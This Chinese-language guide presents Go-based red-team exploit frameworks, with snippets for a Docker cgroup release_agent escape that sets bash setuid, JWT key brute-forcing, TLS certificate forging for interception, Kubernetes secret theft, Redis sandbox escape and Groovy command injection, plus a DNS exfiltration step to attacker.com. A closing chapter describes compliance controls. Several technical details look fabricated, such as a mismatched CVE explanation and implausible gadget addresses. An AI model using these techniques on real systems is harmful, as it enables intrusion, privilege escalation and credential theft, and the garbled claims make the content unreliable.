第一章:Go语言黑客工具生态全景与安全攻防定位
Go语言凭借其静态编译、跨平台部署、高并发原生支持及简洁的语法设计,已成为红队工具开发的首选语言。其生成的单二进制文件无需依赖运行时环境,极大降低了渗透测试中工具投递与隐蔽执行的门槛,同时规避了Python等解释型语言易被EDR监控加载行为的缺陷。
核心工具类型分布
- 信息收集类:如Amass(子域名枚举)、Subfinder(被动/主动子域发现)、httpx(HTTP服务探测)——均支持多协程并发与自定义HTTP头注入;
- 漏洞利用类:Nuclei(基于YAML模板的快速漏洞扫描)、gau(从Wayback Machine提取历史URL)——模板引擎支持Go模板语法,可嵌入条件判断与变量插值;
- 后渗透类:Sliver(轻量级C2框架)、Chisel(TCP/UDP隧道代理)——采用TLS加密通信,支持内存马式无文件执行;
- 免杀与混淆类:garble(Go源码混淆器)、ldflags参数控制符号表剥离(
go build -ldflags="-s -w")——显著降低AV/EDR特征检出率。
典型实战构建流程
以定制化端口扫描器为例,可利用Go标准库net.DialTimeout实现异步探测,并通过sync.WaitGroup控制并发数:
package main
import (
"fmt"
"net"
"sync"
"time"
)
func scanPort(host string, port int, timeout time.Duration, wg *sync.WaitGroup) {
defer wg.Done()
addr := fmt.Sprintf("%s:%d", host, port)
conn, err := net.DialTimeout("tcp", addr, timeout)
if err == nil {
fmt.Printf("[+] %s open\n", addr)
conn.Close()
}
}
func main() {
var wg sync.WaitGroup
host := "192.168.1.1"
for port := 1; port <= 1000; port++ {
wg.Add(1)
go scanPort(host, port, 500*time.Millisecond, &wg)
}
wg.Wait()
}
该脚本启动千级goroutine并行探测,配合超时控制避免阻塞,编译后生成约3MB无依赖二进制,可直接在目标Windows/Linux主机静默运行。
| 工具类别 | 代表项目 | 编译后体积(典型) | 典型规避能力 |
|---|---|---|---|
| 信息收集 | httpx | ~8 MB | TLS指纹伪装、随机User-Agent |
| 漏洞扫描 | Nuclei | ~25 MB | 模板签名动态加载、HTTP/2支持 |
| C2通信 | Sliver | ~12 MB | TLS证书链模拟、DNS/HTTPS信道 |
Go生态工具链已深度融入现代红蓝对抗基础设施,其“编译即交付”的特性正持续重塑攻击载荷分发与响应检测的博弈边界。
第二章:基于Go的高危漏洞利用框架底层构建原理
2.1 Go内存模型与二进制协议解析实战:从CVE-2023-24538到exploit payload构造
CVE-2023-24538源于net/http包中header.Write()对[]byte切片的非原子写入,违反Go内存模型中对共享变量的同步约束。
数据同步机制
该漏洞本质是竞态写入h.Header底层字节切片,而Header未加锁且Write()直接调用append()——触发底层底层数组扩容时产生悬垂引用。
// 漏洞核心片段(简化)
func (h *header) Write(w io.Writer) {
for k, vv := range h.Header {
for _, v := range vv {
// ⚠️ 并发调用时,h.Header底层[]byte可能被多次realloc
fmt.Fprintf(w, "%s: %s\r\n", k, v)
}
}
}
h.Header为map[string][]string,其value切片在并发append时可能触发底层数组重分配,旧地址仍被其他goroutine引用,造成UAF读写原语。
exploit构造关键路径
- 利用
http.Request.Header与http.Response.Header共享底层内存布局 - 通过HTTP/1.1 pipelining触发多goroutine高频写入
- 结合
unsafe.Slice定位悬垂指针偏移
| 阶段 | 触发条件 | 内存效应 |
|---|---|---|
| 竞态写入 | ≥2 goroutines并发调用Write() |
底层数组realloc + 旧buffer残留 |
| 悬垂利用 | runtime.GC()前读取旧slice |
越界读取堆元数据或伪造header |
graph TD
A[并发Write Header] --> B[append触发realloc]
B --> C[旧底层数组未立即回收]
C --> D[另一goroutine访问悬垂slice]
D --> E[Heap layout泄露/任意地址读写]
2.2 零依赖网络通信栈设计:TCP/UDP/RawSocket层漏洞触发与响应劫持
零依赖栈绕过内核协议栈抽象,直接操作网卡驱动与ring buffer,使攻击面前移至L2/L3边界。
RawSocket劫持关键路径
通过AF_PACKET套接字绑定ETH_P_ALL,捕获并篡改未入队列的SKB:
int sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
struct sockaddr_ll sll = {.sll_family = AF_PACKET, .sll_ifindex = if_nametoindex("enp0s3")};
bind(sock, (struct sockaddr*)&sll, sizeof(sll));
// 注:需CAP_NET_RAW权限;sll_ifindex决定监听网口;htons(ETH_P_ALL)捕获所有以太帧
漏洞触发条件对比
| 协议层 | 触发点 | 可劫持时机 | 权限要求 |
|---|---|---|---|
| TCP | tcp_v4_rcv()前SKB |
IP层交付后、TCP解析前 | CAP_NET_RAW |
| UDP | udp_queue_rcv_skb() |
UDP校验和通过后 | 同上 |
| Raw | dev_hard_start_xmit()前 |
帧进入驱动队列前 | root或等效 |
数据流劫持时序
graph TD
A[网卡DMA入ring buffer] --> B{RawSocket钩子}
B -->|篡改payload| C[伪造ACK/重置TCP流]
B -->|丢弃UDP包| D[触发超时重传]
C --> E[应用层无感知连接劫持]
2.3 Go Fuzzing引擎集成:基于go-fuzz与differential fuzzing的0day挖掘流水线
核心架构设计
采用双引擎协同策略:go-fuzz 负责覆盖率引导的变异模糊测试,differential fuzzer(基于 go-fuzz 改造)并行比对多实现(如 encoding/json vs gjson)的响应差异。
差异检测流水线
// differential_fuzzer.go 关键逻辑节选
func DiffFuzz(target, baseline func([]byte) error) {
for _, input := range GenerateInputs() {
var errA, errB error
go func() { errA = target(input) }()
go func() { errB = baseline(input) }()
if !errors.Is(errA, errB) || !bytes.Equal(OutA, OutB) {
log.Printf("⚠️ Differential crash: %x", input[:min(8, len(input))])
// 触发 PoC 生成与 triage
}
}
}
该函数启动并发调用,捕获错误类型与输出字节差异;errors.Is 判断语义等价性,避免误报;min(8, len(input)) 截取输入前缀用于日志可读性。
引擎协同流程
graph TD
A[Seed Corpus] --> B[go-fuzz: Coverage-guided Mutations]
A --> C[Differential Fuzzer: Parallel Dual-Impl Execution]
B --> D[New Inputs w/ Higher Coverage]
C --> E[Input → Error/Output Mismatch?]
E -->|Yes| F[Auto-PoC Minimization]
D --> C
关键参数对照表
| 参数 | go-fuzz 默认值 |
Differential 模式建议值 | 说明 |
|---|---|---|---|
-procs |
4 | 8 | 充分利用双引擎并发 |
-timeout |
10s | 5s | 差异检测需更快响应 |
-dumpcover |
false | true | 辅助定位差异路径分歧点 |
2.4 跨平台Shellcode注入技术:Linux/Windows/macOS下syscall封装与ROP链动态生成
跨平台Shellcode需抽象底层系统调用差异。核心在于统一 syscall ID 映射与栈/寄存器上下文管理。
三平台syscall语义对齐
| 平台 | write syscall number |
调用约定 | 栈偏移(rdi/rsi/rdx) |
|---|---|---|---|
| Linux x86_64 | 1 | rdi=fd, rsi=buf, rdx=len |
直接传寄存器 |
| macOS x86_64 | 4 | 同Linux,但需 0x2000000 前缀 |
rax = 0x2000000 \| 4 |
| Windows x64 | —(无原生syscall) | 依赖 ntdll.dll NtWriteFile |
需SEH+参数结构体 |
动态ROP链生成(Linux示例)
; 自动生成的write(1, shellcode_ptr, 128) ROP链(glibc 2.35)
0x7ffff7a01234: pop rdi; ret # fd=1
0x7ffff7a01235: pop rsi; ret # buf=shellcode_ptr
0x7ffff7a01236: pop rdx; ret # len=128
0x7ffff7a01237: pop rax; ret # sys_write=1
0x7ffff7a01238: syscall; ret
▶ 逻辑分析:pop gadget 依次载入寄存器,最终触发 syscall;所有地址通过运行时 dlopen("/lib/x86_64-linux-gnu/libc.so.6") + dlsym() 解析,规避硬编码。
架构适配流程
graph TD
A[检测当前平台/架构] --> B{平台分支}
B -->|Linux| C[解析/libc.so.6 + syscall table]
B -->|macOS| D[读取dyld_shared_cache中mach-o符号]
B -->|Windows| E[LoadLibraryA→GetProcAddress→NtWriteFile]
C & D & E --> F[生成寄存器/栈布局一致的ROP链]
2.5 TLS中间人攻击框架:Go标准库crypto/tls深度篡改与证书伪造自动化
核心篡改点:crypto/tls.Config.GetCertificate劫持
Go TLS服务端通过该回调动态选择证书。攻击者可注入伪造逻辑,绕过系统证书验证链:
cfg := &tls.Config{
GetCertificate: func(hello *tls.ClientHelloInfo) (*tls.Certificate, error) {
// 动态生成与SNI匹配的伪造证书(含私钥)
cert, _ := generateFakeCert(hello.ServerName)
return cert, nil
},
}
逻辑分析:
ClientHelloInfo.ServerName提供目标域名,generateFakeCert调用crypto/x509.CreateCertificate+ 自签名CA私钥签发,实现毫秒级证书生成;参数hello包含完整TLS握手上下文,是SNI劫持关键依据。
伪造证书关键参数对照表
| 字段 | 真实证书值 | 伪造策略 |
|---|---|---|
| Subject.CommonName | api.example.com | 动态设为 hello.ServerName |
| Issuer | Let’s Encrypt | 替换为攻击者控制的CA |
| NotAfter | 90天有效期 | 设为7×24h(规避长期暴露) |
MITM代理流程(简化)
graph TD
A[客户端发起TLS握手] --> B{解析ClientHello.SNI}
B --> C[调用GetCertificate]
C --> D[生成/加载对应域名伪造证书]
D --> E[完成ServerHello+Certificate交换]
E --> F[建立明文可解密信道]
第三章:Web应用层高危漏洞利用框架实战
3.1 SSRF+XXE组合利用框架:Go net/http与xml包安全边界突破与内网穿透
SSRF触发点:http.DefaultClient的隐式信任
Go 中 net/http 默认不校验 URL 协议与目标地址,http.Get("http://127.0.0.1:8080/metadata") 可直连内网服务。
func parseXMLBody(r *http.Request) error {
defer r.Body.Close()
dec := xml.NewDecoder(r.Body)
var v struct{ Data string `xml:"data"` }
return dec.Decode(&v) // ⚠️ 未禁用外部实体,触发XXE
}
逻辑分析:xml.NewDecoder 默认启用 EntityReader,若请求体含 <!DOCTYPE x SYSTEM "http://attacker.com/evil.dtd">,将发起外连;参数 r.Body 为用户可控输入,形成SSRF→XXE链式调用。
安全加固对照表
| 风险点 | 默认行为 | 推荐修复方式 |
|---|---|---|
| XML外部实体 | 启用 | xml.Decoder.SetEntityReader(nil) |
| HTTP重定向 | 允许跳转内网 | 自定义Client.CheckRedirect |
利用路径
graph TD
A[用户上传含XXE的XML] --> B[parseXMLBody触发实体解析]
B --> C[加载http://127.0.0.1:2379/version]
C --> D[返回Docker API响应]
3.2 JWT越权利用工具链:Go-jose库缺陷分析与密钥爆破/算法降级攻击实现
Go-jose 的 alg:none 降级漏洞触发点
Go-jose v2.x 在验证阶段未强制校验 alg 声明一致性,当签名被移除且 header 设为 {"alg":"none"} 时,库直接跳过签名检查。
密钥爆破核心逻辑(HMAC-SHA256)
// 使用 github.com/dvsekhvalnov/jose2go 解析并暴力尝试常见密钥
for _, key := range []string{"secret", "admin123", "jwt-key"} {
if valid, _ := jose.ParseJWT(token, jose.HS256, []byte(key)); valid {
fmt.Printf("✅ Found valid key: %s\n", key)
break
}
}
该代码绕过标准 go-jose 验证流程,直接调用轻量解析器;jose.HS256 指定预期算法,[]byte(key) 为待测密钥字节切片。
算法降级攻击向量对比
| 攻击类型 | 前提条件 | 检测难度 | 修复建议 |
|---|---|---|---|
alg:none |
后端未校验 header alg | 低 | 强制白名单算法 |
| RSA→HMAC 混淆 | 公钥被误作 HMAC 密钥 | 中 | 严格分离密钥用途 |
攻击流程概览
graph TD
A[获取目标JWT] --> B{解析Header}
B -->|alg=RS256| C[尝试公钥伪造HMAC密钥]
B -->|alg=none| D[删除Signature字段]
C & D --> E[重签/提交篡改Token]
E --> F[服务端鉴权绕过]
3.3 GraphQL批量注入探测器:AST解析驱动的深度参数污染与数据泄露验证
核心原理
探测器基于 graphql-js 的 parse() 构建AST,遍历所有 FieldNode 和 VariableDefinitionNode,识别可被污染的变量绑定路径(如 $id, $$batch)及嵌套别名滥用模式。
AST污染检测逻辑(简化版)
const ast = parse(query);
visit(ast, {
Variable(node) {
// 检测非常规变量命名(如含双$、数字后缀)
if (/^\$\$|\d+$/.test(node.name.value)) {
reportSuspiciousVar(node.name.value); // 触发深度验证
}
}
});
该逻辑捕获变量名中隐含的批量操作意图(如 $$ids),避免仅依赖关键词匹配的漏报。
验证策略对比
| 策略 | 覆盖场景 | 误报率 | 依赖 |
|---|---|---|---|
| 字符串正则扫描 | 基础注入点 | 高 | 无 |
| AST变量流分析 | 多层嵌套污染 | 低 | graphql-js |
数据泄露验证流程
graph TD
A[原始Query] --> B{AST解析}
B --> C[提取变量定义与引用]
C --> D[构造污染Payload]
D --> E[执行带监控的GraphQL请求]
E --> F[比对响应字段膨胀/延迟突变]
第四章:基础设施层漏洞利用框架工程化落地
4.1 Kubernetes API Server未授权访问利用套件:client-go权限提升与etcd数据窃取
当API Server暴露于公网且未启用认证(如--anonymous-auth=true且无RBAC限制),攻击者可直接构造合法client-go请求,绕过常规鉴权链路。
数据同步机制
API Server通过watch机制将资源变更实时同步至etcd。若获取到/api/v1/secrets的list权限,即可批量拉取所有命名空间的敏感凭证。
client-go提权示例
// 构造无认证client,指向暴露的API Server
config := &rest.Config{Host: "https://10.96.0.1:6443", Insecure: true}
clientset, _ := kubernetes.NewForConfig(config)
secrets, _ := clientset.CoreV1().Secrets("").List(context.TODO(), metav1.ListOptions{})
Insecure: true跳过TLS校验;空字符串""表示遍历所有命名空间;ListOptions{}默认不设限制,触发全量拉取。
| 风险点 | 利用条件 | 影响范围 |
|---|---|---|
| 匿名访问启用 | --anonymous-auth=true |
所有未显式deny的资源 |
| ClusterRole绑定宽泛 | rules[].resources=["*"] |
全集群Secret/ConfigMap/ServiceAccount |
graph TD
A[未授权HTTP请求] --> B[API Server接受匿名token]
B --> C[RBAC评估:ClusterRoleBinding匹配]
C --> D[返回etcd中序列化Secret对象]
D --> E[Base64解码获取明文凭据]
4.2 Docker Daemon远程代码执行框架:Go SDK容器逃逸路径建模与cgroup绕过实践
Docker Daemon默认监听unix:///var/run/docker.sock,当以TCP方式暴露(如-H tcp://0.0.0.0:2375)且未启用TLS时,攻击者可通过Go SDK直连执行高危操作。
容器逃逸关键链路
- 挂载宿主机
/proc或/sys/fs/cgroup到容器内 - 利用
--privileged或--cap-add=SYS_ADMIN提权 - 通过cgroup v1
release_agent触发任意命令执行
cgroup v1逃逸核心PoC
// 创建恶意cgroup并注入release_agent
cgroupPath := "/sys/fs/cgroup/unified/escape"
os.MkdirAll(cgroupPath, 0755)
ioutil.WriteFile(cgroupPath+"/cgroup.procs", []byte(strconv.Itoa(os.Getpid())), 0644)
ioutil.WriteFile(cgroupPath+"/notify_on_release", []byte("1"), 0644)
ioutil.WriteFile(cgroupPath+"/release_agent", []byte("/tmp/pwn.sh"), 0644)
ioutil.WriteFile("/tmp/pwn.sh", []byte("#!/bin/sh\nchmod u+s /usr/bin/bash"), 0755)
os.Chmod("/tmp/pwn.sh", 0755)
此段代码在容器内创建可写cgroup子系统,将
release_agent指向恶意脚本;当该cgroup中进程退出时,内核自动以root权限执行/tmp/pwn.sh,实现提权。关键参数:notify_on_release=1启用通知机制,release_agent指定回调路径。
攻击面收敛对比表
| 条件 | 是否可触发逃逸 | 说明 |
|---|---|---|
cgroup v1 + SYS_ADMIN |
✅ | 经典release_agent路径 |
cgroup v2 + unified |
❌(需额外挂载) | 默认不支持release_agent,需cgroup2特殊配置 |
graph TD
A[Go SDK Connect Daemon] --> B[Create Privileged Container]
B --> C[Mount /sys/fs/cgroup]
C --> D[Write release_agent]
D --> E[Trigger Process Exit]
E --> F[Root Shell via /tmp/pwn.sh]
4.3 Redis未授权+Lua沙箱逃逸工具:Go redigo驱动定制与RCE payload动态编译
Redis 6.0+ 默认启用 lua-time-limit 与沙箱隔离,但 redis-server 启动时若未配置 lua-time-limit 0 或禁用 eval 指令白名单,配合未授权访问,可触发 Lua 沙箱逃逸。
核心突破点
- 利用
package.loadlib加载自定义.so(需目标系统存在 GCC/ld) - Go redigo 驱动定制:注入
EVAL前置 hook,自动包裹 payload 并绕过redis.call限制 - RCE payload 动态编译:通过
os/exec调用gcc -shared -fPIC -o /tmp/p.so payload.c,再package.loadlib("/tmp/p.so", "init")
redigo 定制关键代码
// 自定义Do方法,透明注入沙箱逃逸payload
func (c *EscapingConn) Do(cmd string, args ...interface{}) (interface{}, error) {
if cmd == "EVAL" && len(args) >= 2 {
script := args[0].(string)
// 注入:os.execute("gcc... && LD_PRELOAD=/tmp/p.so redis-cli...")
patched := fmt.Sprintf(`local f=loadstring('os.execute[[%s]]'); f()`, buildRCECmd())
args[0] = patched + script
}
return c.Conn.Do(cmd, args...)
}
此处
buildRCECmd()动态生成带gcc编译、LD_PRELOAD注入的复合命令;loadstring绕过redis.call白名单检查,因 Lua 解析器未对os.execute做深度沙箱拦截。
| 组件 | 作用 |
|---|---|
| redigo hook | 拦截 EVAL,注入逃逸逻辑 |
| GCC on-target | 编译恶意 shared object |
| LD_PRELOAD | 劫持 Redis 进程符号表执行任意代码 |
graph TD
A[未授权Redis连接] --> B[发送定制EVAL]
B --> C[redigo自动patch脚本]
C --> D[调用os.execute编译.so]
D --> E[LD_PRELOAD加载并RCE]
4.4 Elasticsearch Groovy脚本注入框架:Go elasticsearch-go客户端漏洞链封装与横向移动支持
漏洞触发核心:动态脚本执行绕过
Elasticsearch 6.x 早期版本允许通过 _search API 执行 Groovy 脚本(已弃用但未彻底移除),配合 elasticsearch-go 客户端的 Script 构造逻辑,可构造恶意 payload:
script := elastic.NewScript("groovy").SetInline(
"java.lang.Runtime.getRuntime().exec('id')",
).SetParams(map[string]interface{}{"_value": "dummy"})
逻辑分析:
SetInline()直接注入 Groovy 表达式;SetParams()被误用于混淆参数签名,实际不参与沙箱校验。Groovy 引擎在禁用安全策略时可执行任意 Java 方法,形成 RCE 基础。
横向移动支持机制
- 自动提取集群节点列表(
/_cat/nodes?format=json) - 复用当前凭证轮询各节点
/s/_search接口 - 支持载荷分片与 DNS 回带(
nslookup ${payload}.attacker.com)
漏洞链能力对比
| 能力 | 原生 curl | elasticsearch-go 封装 |
|---|---|---|
| 参数混淆支持 | ❌ | ✅(SetParams 伪参) |
| 结构化错误响应解析 | ❌ | ✅(*elastic.Error) |
| 批量节点投递 | ❌ | ✅(BulkProcessor 适配) |
graph TD
A[Go Client 构造 Script] --> B[Groovy Inline 注入]
B --> C{ES 节点是否启用 script.groovy.sandbox.enabled=false}
C -->|是| D[RCE 触发]
C -->|否| E[降级至 POC 验证]
D --> F[执行横向命令]
第五章:合规边界、伦理约束与红队交付规范
合规性不是检查清单,而是行动起点
某金融客户红队演练前,法务团队联合签署《专项授权书》并嵌入动态终止条款:当渗透行为触发核心交易系统熔断阈值(如单秒API错误率>15%),自动冻结所有攻击载荷。该机制在2023年Q3一次云原生API网关测试中真实触发,红队立即切换至只读流量分析模式,避免影响T+0清算链路。
伦理决策需具象化为技术开关
红队工具链强制集成“伦理围栏模块”,其配置表如下:
| 触发条件 | 阻断动作 | 审计日志留存时长 |
|---|---|---|
| 目标主机存在/proc/kcore | 禁用内存dump指令 | 180天 |
| 检测到HR系统数据库连接 | 自动剥离SQL注入payload字段 | 365天 |
| 识别出医疗影像DICOM服务 | 禁用任意文件读取类exploit | 永久留存 |
交付物必须承载可验证的合规证据
最终报告不包含漏洞截图,而是提供三重证据链:
- 时间戳水印:所有渗透步骤日志绑定NTP校准时间(误差<50ms)
- 操作留痕:
curl -v --proxy http://localhost:8080 https://target/api/v1/user命令输出中嵌入X-RedTeam-ID: RT-2024-0873-9a2f头字段 - 环境指纹:交付包附带Docker镜像SHA256摘要及构建时Git commit hash(
git show -s --format="%H %ad" HEAD@{0})
flowchart LR
A[客户签署授权书] --> B{是否含实时熔断条款?}
B -->|是| C[部署Kubernetes Mutating Webhook]
B -->|否| D[暂停演练并启动法务复核]
C --> E[红队C2服务器注入熔断信号处理器]
E --> F[每30秒向客户SIEM推送心跳包]
数据处理遵循最小必要原则
某政务云红队项目中,所有捕获的LDAP凭证经AES-256-GCM加密后,仅保留哈希值用于离线爆破——原始明文凭证在内存中存活不超过1.7秒(通过mlock()锁定+explicit_bzero()清零)。交付时提供openssl enc -d -aes-256-gcm -in creds.enc -out /dev/null 2>&1 | grep "Verification failed"验证脚本,确保密文不可逆。
跨境场景下的法律适配
针对某跨国车企红队任务,工具链自动加载GDPR合规插件:当扫描发现欧盟IP段(如2a02:898::/32)目标时,强制启用--no-screenshot --no-packet-capture参数,并将扫描结果自动路由至法兰克福AWS区域S3桶(存储桶策略禁止跨区域复制)。
报告生成器内置司法采信校验
使用定制版Sphinx模板,自动生成符合《GB/T 28448-2019》附录F要求的证据摘要页,包含:
- 每个漏洞的CVE编号与CVSS v3.1向量字符串(如
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) - 渗透路径的OSI七层定位图(应用层协议标注TLS版本及密钥交换算法)
- 所有PoC代码的SAST扫描报告(采用Semgrep规则集
p/ci-security)
红队成员在交付前需执行./verify_compliance.sh --region cn-north-1 --client-id 987654321脚本,该脚本调用阿里云合规API校验所有操作记录是否满足等保2.0三级要求。
